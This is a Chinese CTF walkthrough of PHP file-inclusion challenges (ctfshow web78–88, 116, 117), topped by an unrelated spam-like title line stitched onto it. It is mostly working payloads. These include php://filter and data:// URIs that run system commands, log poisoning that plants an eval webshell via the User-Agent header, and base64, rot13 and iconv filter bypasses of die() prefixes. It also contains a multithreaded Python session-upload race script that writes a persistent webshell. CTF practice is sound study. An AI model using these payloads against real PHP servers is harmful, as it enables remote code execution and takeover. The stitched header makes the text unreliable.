成都市武侯區(qū)建設(shè)局門戶網(wǎng)站自己的品牌怎么做加盟推廣
web78
<?phpif(isset($_GET['file'])){$file = $_GET['file'];include($file); }else{highlight_file(__FILE__); }
判斷是否存在file參數(shù) 如果存在 將包含這個(gè)參數(shù)值 文件
php://filter可以獲取指定文件源碼。當(dāng)它與包含函數(shù)結(jié)合時(shí),php://filter流會(huì)被當(dāng)作php文件執(zhí)行。所以我們一般對(duì)其進(jìn)行編碼,讓其不執(zhí)行。從而導(dǎo)致 任意文件讀取。
filter偽協(xié)議
php://filter可以獲取指定文件源碼。當(dāng)它與包含函數(shù)結(jié)合時(shí),php://filter流會(huì)被當(dāng)作php文件執(zhí)行。所以我們一般對(duì)其進(jìn)行編碼,讓其不執(zhí)行。從而導(dǎo)致 任意文件讀取。
file=php://filter/convert.base64-encode/resource=flag.php
base64解碼即可
data偽協(xié)議 簡(jiǎn)單理解就是執(zhí)行自定義代碼?
c=data://text/plain,<?php system('tac fla?.php');?>
web79
<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file); }else{highlight_file(__FILE__); }
嚴(yán)格一點(diǎn)點(diǎn) 參數(shù)值中不能存在php字符
方法一
使用data偽協(xié)議 可以不使用正常的php標(biāo)簽 使用段標(biāo)簽即可 然后使用*代替php
file=data://text/plain,<?=system('tac fl*');?>
方法二
GET POST 聯(lián)合使用
file=data://text/plain,<?=eval($_POST[1]);?> POST 1=system("tac flag.php");
web80
<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file); }else{highlight_file(__FILE__); }
要求更嚴(yán)格了 data協(xié)議不能使用了
那就是用日志方式
日志地址
/var/log/nginx/access.log
插入U(xiǎn)ser-Agent值為
<?php eval($_POST[1]);?>
訪問(wèn) 日志地址 post參數(shù)1=system("ls"); 查看當(dāng)前目錄下文件有哪些 查看到有個(gè)fl0g.php文件
查看fl0g.php文件內(nèi)容
web81
<?phpif(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file); }else{highlight_file(__FILE__); }
更嚴(yán)格一點(diǎn)不能使用冒號(hào) 但是貌似沒(méi)影響 與web80同理
web82
參考b站視頻以及session包含/反序列化
?參考
<?php if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file); }else{highlight_file(__FILE__); }
禁用了.?導(dǎo)致上一題的日志包含也不行了?只能使用session包含了 ,php里面?唯一我們能控制的無(wú)后綴的就是session,需要用到到php_
session_upload_progress參數(shù),這個(gè)參數(shù)是為了獲得這個(gè)文件上傳進(jìn)度的實(shí)時(shí)參數(shù)
這道題沒(méi)開(kāi)啟session?如何創(chuàng)建session文件呢? 我們?nèi)绻灰蟼饕粋€(gè)cookie?鍵是sessid?值任意?
這樣提交后?php會(huì)在默認(rèn)session目錄中創(chuàng)建一個(gè)?sess_aaa的文件?路徑基本上為/tmp/sess_aaa? 既然有個(gè)session相關(guān)文件了?服務(wù)器也就自動(dòng)初始化session了
?這么文件名字我們是可以控制的?可以控制aaa? 所以這道題如果只能包含無(wú)后綴的?那就可以包含這個(gè)session的臨時(shí)文件
現(xiàn)在文件名字?我們控制了?如何控制文件內(nèi)容呢
控制文件內(nèi)容我們需要PHP_SESSION_UPLOAD_PROGRESS?這個(gè)參數(shù)是獲取實(shí)時(shí)文件上傳進(jìn)度的??我們控制這個(gè)參數(shù)?來(lái)寫(xiě)我們指定內(nèi)容?通過(guò)指定該參數(shù)的post值?會(huì)拼接默認(rèn)名字寫(xiě)進(jìn)去(這句話現(xiàn)在不理解?一會(huì)回頭看一下)?剛剛?cè)褐髋e個(gè)例子?如果PHP_SESSION_UPLOAD_PROGRESS值為123?則知道 /tmp/sess_aaa的內(nèi)容為123
現(xiàn)在前提都準(zhǔn)備好了?但是session臨時(shí)文件在文件全部上傳成功后就會(huì)被刪除?這時(shí)需要session競(jìng)爭(zhēng)? 在文件還沒(méi)被刪除的時(shí)候?訪問(wèn)到這個(gè)文件? 簡(jiǎn)單理解就是?大量的上傳同一個(gè)文件?持續(xù)訪問(wèn)某個(gè)session文件? 該腳本?就是開(kāi)啟5個(gè)多線程? 持續(xù)的發(fā)送?為何要開(kāi)啟多線程呢?正常情況下開(kāi)啟一個(gè)線程也是可以的 但是一般都競(jìng)爭(zhēng)不出來(lái) 都是開(kāi)啟進(jìn)程讓提交的速度加大 訪問(wèn)的速度加大
再簡(jiǎn)單理解這個(gè)線程就是?每秒提交1次文件?和訪問(wèn)1次?因?yàn)樘峤坏乃俣忍貏e快?還沒(méi)等訪問(wèn)呢?文件就被刪除了?如果每秒提交1000次文件?和訪問(wèn)1000次?這樣就大大加大訪問(wèn)成功的概率這個(gè)不代表
訪問(wèn)第500次的時(shí)候是訪問(wèn)第500次提交的文件?而是可能訪問(wèn)到的是第400次提交文件時(shí)生成的文件
這里我開(kāi)五個(gè)線程很快就能出結(jié)果 我試了一下開(kāi)20個(gè)進(jìn)行?一瞬間就出結(jié)果了
import requests import threading import io a=0 url = "http://6db55daa-3871-4fd6-b564-8e6289806146.challenge.ctf.show/" sessID = 'tzy' data = {"1": "file_put_contents('/var/www/html/8.php', '<?php eval($_POST[2]);?>');" # read()中需要post的內(nèi)容 } def write(session):global afileBytes = io.BytesIO(b'a' * 50)#定義一個(gè)大小為50kb的文件賦值給fileBytes變量中# 解釋一下使用while循環(huán)的原因 當(dāng)前函數(shù)現(xiàn)在開(kāi)啟了5次線程 也就是說(shuō) 同時(shí)會(huì)向服務(wù)器提交五次write函數(shù) 如果不設(shè)置循環(huán) 也就相當(dāng)于同意時(shí)間只提交五次函數(shù) 就退出程序了# 如果在函數(shù)內(nèi)部定義while循環(huán) 這樣就能做到 持續(xù)進(jìn)行 每次提交五次函數(shù) 換位思考也就是說(shuō) 提交五次函數(shù) 每一次都是一個(gè)循環(huán) 這五個(gè)都是循環(huán) 也就能做到 持續(xù)性多線程# 這種方法 和在線程外部加入一個(gè)while循環(huán)一個(gè)意思while True:if a:break#使用傳進(jìn)來(lái)的session對(duì)象執(zhí)行post提交請(qǐng)求res = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'# 改參數(shù)的值就是/tmp/sess_tzy文件的內(nèi)容},cookies={"PHPSESSID": sessID},files={'file': ('tzy.png', fileBytes)})#print(res.request.headers)#print(res.request.body) def read(session):global awhile True:res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,cookies={"PHPSESSID": sessID})res2 = session.get(url + '8.php')if res2.status_code == 200:print("+++done+++")a=1breakelse:print(res2.status_code) if __name__ == '__main__':# 開(kāi)啟多線程 直接解釋代碼 python會(huì)同時(shí)提交五次write函數(shù) 和五次read函數(shù)event = threading.Event() # 開(kāi)啟多線程的對(duì)象# 這個(gè)session對(duì)象 是requests.session()類的實(shí)例化# request.session 包含 request.request的功能 比如get() post()# 而session這個(gè)類還可以自動(dòng)處理cookie 會(huì)自動(dòng)地處理與會(huì)話相關(guān)的內(nèi)容,比如 cookies 的保存和發(fā)送# Session 對(duì)象的優(yōu)勢(shì)在于它會(huì)在整個(gè)會(huì)話中自動(dòng)管理 cookies,并在多個(gè)請(qǐng)求之間共享 cookies 和會(huì)話狀態(tài)。# 這意味著你只需要在第一個(gè)請(qǐng)求中設(shè)置 cookies,后續(xù)的請(qǐng)求會(huì)自動(dòng)使用相同的 cookieswith requests.session() as session:for i in range(5): # 開(kāi)5個(gè)線程 執(zhí)行write函數(shù)傳入session對(duì)象最為參數(shù)threading.Thread(target=write, args=(session,)).start()for i in range(5):threading.Thread(target=read, args=(session,)).start()event.set() # 喚醒線程
獲得flag
web83
<?php
session_unset();
session_destroy();if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
在程序前銷毀session的全部變量?以及全部數(shù)據(jù)? 沒(méi)影響?我們直接加入cookie服務(wù)器識(shí)別出來(lái)存在session?id后自動(dòng)就初始化session了? 同web82一樣
web84
<?php if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);system("rm -rf /tmp/*");include($file); }else{highlight_file(__FILE__); }
好狗直接把臨時(shí)目錄的文件全部刪除了?但是發(fā)現(xiàn)不影響呀
本身?
session.upload_progress.cleanup = on
?會(huì)清空對(duì)應(yīng) session 文件中的內(nèi)容?再加上一條刪除文件?影響不大?加快請(qǐng)求速度唄?不加快5多線程也行? ? 反正記住就行?無(wú)論他刪不刪對(duì)我們都沒(méi)影響?因?yàn)樯毒退氵@個(gè)請(qǐng)求執(zhí)行到刪除了?然后執(zhí)行包含?如果在執(zhí)行include前0.001s又生成了一個(gè)臨時(shí)文件?她依舊是可以包含的?最壞的情況?無(wú)非也就是加快線程唄?加快速度
web85
<?php if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);if(file_exists($file)){$content = file_get_contents($file);if(strpos($content, "<")>0){die("error");}include($file);}}else{highlight_file(__FILE__); }
說(shuō)實(shí)話這道題?我挺蒙?哪怕多線程為什么能繞過(guò)die呢?每個(gè)線程都能匹配到die呀?原來(lái)這道題開(kāi)多線程和上一題開(kāi)多線程?能成功的原因?不一樣?這一道題開(kāi)5不行?開(kāi)20可以?是因?yàn)?在高并發(fā)/高線程的情況下?有個(gè)特性就是競(jìng)爭(zhēng)?而競(jìng)爭(zhēng)會(huì)導(dǎo)致很多的不確定性?比如這道題在執(zhí)行die的時(shí)候?因?yàn)槎嗑€程搶占資源的原因?可能會(huì)導(dǎo)致die還沒(méi)執(zhí)行成功呢?include就已經(jīng)被執(zhí)行成功了?
web86
<?php define('還要秀?', dirname(__FILE__)); set_include_path(還要秀?); if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file); }else{highlight_file(__FILE__); }
定義了文件包含指定目錄?也就是說(shuō)想要包含的文件必須在指定目錄下?否則包含不成功
難道還是要利用高線程導(dǎo)致競(jìng)爭(zhēng)從而還沒(méi)定義目錄位置?就已經(jīng)執(zhí)行include了嗎??查看一下其他師傅的wp
結(jié)果是是這個(gè)原因?include包含的文件如果存在路徑?他會(huì)按照指定路徑查找文件?如果只存在文件名不存在路徑?include首先會(huì)去定義的位置進(jìn)行尋找文件?沒(méi)有則在當(dāng)前文件所在的目錄和當(dāng)前工作目錄下尋找?所以不影響我們?線程5應(yīng)該就可以了?不需要高并發(fā)導(dǎo)致的不確定行為?而是普通的和服務(wù)器刪除速度來(lái)競(jìng)爭(zhēng)?不是高并發(fā)的競(jìng)爭(zhēng)
的確我說(shuō)對(duì)了
注意:早session包含中
這里說(shuō)一下?提交請(qǐng)求后的請(qǐng)求體是?不是想象的那種post?鍵值對(duì)的形式?而是表單的形式PHP_SESSION_UPLOAD_PROGRESS?也在表單中?這塊的簡(jiǎn)單知識(shí)點(diǎn)?有時(shí)間得看看
<!DOCTYPE html> <html> <body> <form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" value="submit" /> </form> </body> </html>
web87
<?php
if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);}else{highlight_file(__FILE__);
}
參考p神文章
file_put_content和死亡·雜糅代碼之緣
方法一使用?過(guò)濾器中的base64?解碼繞過(guò)?將死亡函數(shù)進(jìn)行解碼?變?yōu)榉欠ㄗ址?/p>
file=php://filter/write=convert.base64-decode/resource=hello.php
在base64解碼中?每四個(gè)字符為一組解碼為三個(gè)字符?并且只有字母為解碼的字符?phpdie為6個(gè)?需要在$content前任意添加兩個(gè)字符?
content=abPD8gcGhwaW5mbygpOz8+
將file參數(shù)的值進(jìn)行url全編碼使用bp
從瀏覽器到服務(wù)器?他會(huì)自動(dòng)進(jìn)行一次解碼?為什么要兩次編碼呢?兩點(diǎn) 第一點(diǎn)本身寫(xiě)文件的時(shí)候他會(huì)解碼一次 第二點(diǎn)在過(guò)濾的時(shí)候 如果不進(jìn)行二次url編碼 他會(huì)把關(guān)鍵詞換成問(wèn)好 這兩點(diǎn)同時(shí)滿足 這樣兩次url編碼就可以了
驗(yàn)證成功?同理?換content的值即可得到flag
方法二使用?過(guò)濾器中的rot13 編碼繞過(guò)?解碼繞過(guò)?將死亡函數(shù)進(jìn)行解碼?變?yōu)榉欠ㄗ址?/p>
和base64同理?
現(xiàn)將payload進(jìn)行rot13編碼
file=php://filter/write=string.rot13/resource=hello2.php
concent=<?cuc cucvasb();?>
死亡代碼<?php?die('大佬別秀了');?>已經(jīng)被解碼為<?cuc qvr('大佬別秀了');?>
這里有個(gè)問(wèn)題如果服務(wù)器開(kāi)啟了可以使用短標(biāo)簽?zāi)敲捶?wù)器就會(huì)解析該短標(biāo)簽了?我們的payload就不會(huì)被執(zhí)行了??就不能使用這種方法了?因?yàn)樵摻獯a方式不會(huì)解碼<?等符號(hào)?并且會(huì)原封不動(dòng)的寫(xiě)入到文件中
web88
<?php
if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
}
使用data偽協(xié)議
因?yàn)檫^(guò)濾了?php那就使用base編碼?有的時(shí)候如果base編碼后出現(xiàn)=?或者 +號(hào)?也會(huì)被過(guò)濾掉?在后方加入1來(lái)混淆
比如
<?php echo `ls`?>和<?php system('ls'); ?>?一個(gè)意思
?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk/PjEx
web116
開(kāi)局一個(gè)視頻?無(wú)法查看源碼?下載視頻?使用010打開(kāi)?搜索各種文件的標(biāo)頭標(biāo)識(shí)?發(fā)現(xiàn)?存在PNG文件
PNG圖片以IEND結(jié)尾?復(fù)制粘貼到新建十六進(jìn)制文件?另存1.PNG
打開(kāi)圖片后
源碼文件的意思就是讀取一個(gè)文件?輸出到瀏覽器中?
在瀏覽器中雖然不能右鍵查看源碼?但是可以使用view-source:
那就讀取?flag.php(只能一個(gè)一個(gè)嘗試)
web117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
不能使用base64和rot13解碼繞過(guò)了 把一句話木馬從UCS-2LE
編碼轉(zhuǎn)換為UCS-2BE
編碼。
其實(shí)關(guān)鍵的不是兩種編碼方式(這兩個(gè)編碼方式可以換位置) 這兩種編碼方式都是一樣的?不會(huì)改變?nèi)魏巫址?關(guān)鍵的是iconv這個(gè)函數(shù)?他可以進(jìn)行兩個(gè)字符反轉(zhuǎn)一次(切記?需反轉(zhuǎn)的字符必須是2的整數(shù)倍?否則報(bào)錯(cuò),如果報(bào)錯(cuò)可以通過(guò)修改密碼?增加字符?或者在后面再加上任意一個(gè)字符?反正服務(wù)器也不解析)
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[aa]);?>');
echo "payload:".$result."\n";
?>
#?<hp pe@av(l_$OPTSa[]a;)>?
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hello.php
contents=?<hp pe@av(l_$OPTSa[]a;)>?